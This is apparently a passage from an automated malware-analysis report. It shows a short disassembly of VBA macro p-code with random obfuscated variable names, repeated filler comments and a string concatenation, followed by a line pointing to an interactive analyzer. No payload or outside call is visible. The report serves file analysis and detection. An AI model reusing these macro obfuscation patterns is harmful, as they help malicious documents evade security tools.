#139: ' Rem 0x0005 " TKMM" ' Line #140: ' Ld OpNeKsFjHjHjRz ' Ld QhTwJjJmRgTqLkSoLfLrHlBkKjCkJlQv28832611 ' Concat ' St ImLzDm ' Line #141: ' Rem 0x000A " MTTKXTCQS" ' Line #142: ' Rem 0x000A " MTTKXTCQS" ' Line #143: ' Rem 0x0005 " TKMM" ' Line #144: ' Rem 0x000A " MTTKXTCQS" ' Line #145: ' Rem 0x0005 " TKMM" ' Line #146: ' Rem 0x000A " MTTKXTCQS" ' Line #147: …

Open this report in the interactive analyzer, or submit your own file for analysis.